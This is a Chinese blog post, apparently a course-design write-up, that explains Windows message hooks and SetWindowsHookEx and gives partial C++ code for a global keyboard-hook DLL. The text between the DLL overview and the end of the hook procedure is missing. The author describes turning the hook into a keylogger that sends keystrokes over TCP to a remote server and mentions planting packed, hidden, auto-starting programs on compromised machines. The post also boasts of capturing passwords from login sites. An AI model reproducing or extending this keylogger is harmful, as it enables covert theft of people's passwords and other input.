钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。Windows系统是建立在事件驱动的机制上的,也就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。
Windows 消息提供了应用程序与应用程序之间、应用程序与Windows 系统之间进行通讯的手段。应用程序要实现的功能由消息来触发,并靠对消息的响应和处理来完成。Windows 系统中有两种消息队列,一种是系统消息队列,另一种是应用程序消息队列。计算机的所有输入设备由 Windows 监控,当一个事件发生时,Windows 先将输入的消息放入系统消息队列中,然后再将输入的消息拷贝到相应的应用程序队列中,应用程序中的消息循环从它的消息队列中检索每一个消息并发送给相应的窗口函数中。一个事件的发生,到达处理它的窗口函数必须经历上述过程。如下图;
钩子实际上是一个处理消息的程序段,通过系统调用(安装钩子),把它挂入系统(添加到钩子链表)。每当特定的消息发出,在没有到达目的窗口前,钩子程序就可以先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息[传递到钩子链表中的下一个钩子或应用程序目的窗口],还可以强制结束消息的传递。对每种类型的钩子由系统来维护一个钩子链表,其特点是最近安装的钩子放在链的最开始,而最先安装的钩子放在最后,也就是后加入的钩子先获得控制权,先获得应用程序消息。消息在链表上传递,链表上的每一个钩子都可以修改消息、把消息传给下一个钩子,以及终止消息的传递。
按功能分类:
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息
3、WH_DEBUG 调试钩子
4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDL
5、WH_JOURNALRECORD 监视和记录输入事件
6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD 键盘钩子
9、WH_KEYBOARD_LL 低层键盘钩子
10、WH_MOUSE 鼠标钩子
11、WH_MOUSE_LL 底层鼠标钩子
12、WH_SHELL 外壳钩子
13、WH_MSGFILTER 和WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等
常见分类:
全局钩子和进程钩子
由安装钩子的函数SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);第四个参数决定。第四个参数指定监视的线程。如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。线程钩子一般在当前线程或者当前线程派生的线程内,而系统钩子必须放在独立的动态链接库中,实现起来要麻烦一些。
实现Win32的系统钩子,必须调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,这个函数的原型是
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORDdwThreadId )
第一个参数:idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。
第二个参数:Lpfn是钩子函数的地址。
第三个参数:HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
第四个参数:dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。其中,全局钩子函数必须包含在DLL(动态链接库)中,而线程专用钩子还可以包含在可执行文件中。得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个SDK中的API函数CallNextHookEx()来传递它。钩子函数也可以通过直接返回TRUE来丢弃该消息,并阻止该消息的传递。
执行SetWindowsHookEx(),会返回所安装的钩子句柄。
刚才说过:全局钩子函数必须包含在DLL(动态链接库)中,本例通过演示一个全局钩子,实现所有进程输入框的输入按键获取。先一起了解下Win32 DLL。
VC6中MFC DLL的分类及特点
在VC6中有三种形式的MFC DLL(在该DLL中可以使用和继承已有的MFC类)可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)和Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。第一种DLL的特点是,在编译时把使用的MFC代码加入到DLL中,因此,在使用该程序时不需要其他MFC动态链接类库的存在,但占用磁盘空间比较大;第二种DLL的特点是,在运行时,动态链接到MFC类库,因此减少了空间的占用,但是在运行时却依赖于MFC动态链接类库;这两种DLL既可以被MFC程序使用也可以被Win32程序使用。第三种DLL的特点类似于第二种,做为MFC类库的扩展,只能被MFC程序使用。
//Todo:其他处理操作
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}
(9)类CKeyboardHook的成员函数的具体实现:
CKeyboardHook::CKeyboardHook()
{
}
CKeyboardHook::~CKeyboardHook()
{
if(glhHook)
UnhookWindowsHookEx(glhHook);
}
//安装钩子并设定接收显示窗口句柄
BOOL CKeyboardHook::StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
//卸载钩子
BOOL CKeyboardHook::StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
(10)编译项目,在目录中找到KeyboardHook.dll和KeyboardHook.h(第二个界面程序会用到)。
这个只实现了简单功能,也是最近在做一个操作系统相关的课程设计,看了其他人的例子,在一台机器上运行程序,安装钩子监听记录本台机器的按键信息。实现这个功能也是进行其他操作的前提。我的课程设计,基础功能就是监听键盘,实现了被监听的“客户端”和服务端;钩子程序在客户端,通过一些方式让钩子安装在要监听的电脑上,只要钩子安装了,那么OK,所谓客户端,实现了socket套接字把那些按键值,并不是记录在文件里,而是发到指定主机的服务端,具体方法实现,就是要在第一个DDL动态链接库工程,再添加初始化网络的函数,即这个客户端必须在安装钩子之前要先用TCP方式连接到“指定的主机服务端”,然后在那个钩子回调函数中替换某些操作,把写入文件的操作,换成用TCP客户端发送那些按键值到服务端,客户端只在监听的键盘事件发生时发送,服务端只循环不停的等待接收显示。这就实现了监听不同的电脑了,不过有个前提,需要网络支持。
通过一些方式让钩子安装在要监听的电脑上,这个具体有很多种方式,课程设计为方便演示就直接安装在一台充当“被监听者”的机器上;实际中有很多黑客技术和工具,可以实现把一个加壳处理的“黑客程序”安装到肉鸡电脑上,并完全可以实现隐藏进程和开机自起。关于其他方面的内容,包括课设工程,待后期整理。可参见
http://blog.csdn.net/ljheee/article/details/50994878,http://blog.csdn.net/ljheee/article/details/51043646
运行程序,点击按钮安装钩子,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码。
经过本人大量测试,目前这个钩子,可以截获几乎所有输入框的内容,包括迅雷登录密码、验证码、*号密码也可以截获并显示,包括一些高校教务处网站学生登录那些都可以。但是,QQ登录不行,肯定是做了安全限制;测试发现,截获客户端的“密码”是乱码,没有对应顺序,即使被控制的客户端一直按下相同的按键,截获得到的也是不同的字母,找不到规律。腾讯游戏登录时,屏幕右下角那个“TP”防护系统,都是老马请的国外的密码学专家做出来的,至于这个QQ登录的安全限制,应该技术更是了得。本人认为可能在QQ启动时,程序内部有内置的钩子,根据钩子的安置原理,可以设置全局钩子,也完全可以做成进程钩子,这个进程内置钩子,在QQ进程启动时安装在“钩子链表”,是后安置的钩子,会先接收到应用程序信息,钩子功能很强大,可以把截获的按键信息,拦截并修改再发送到下一个钩子。(关于QQ这个是本人个人观点)。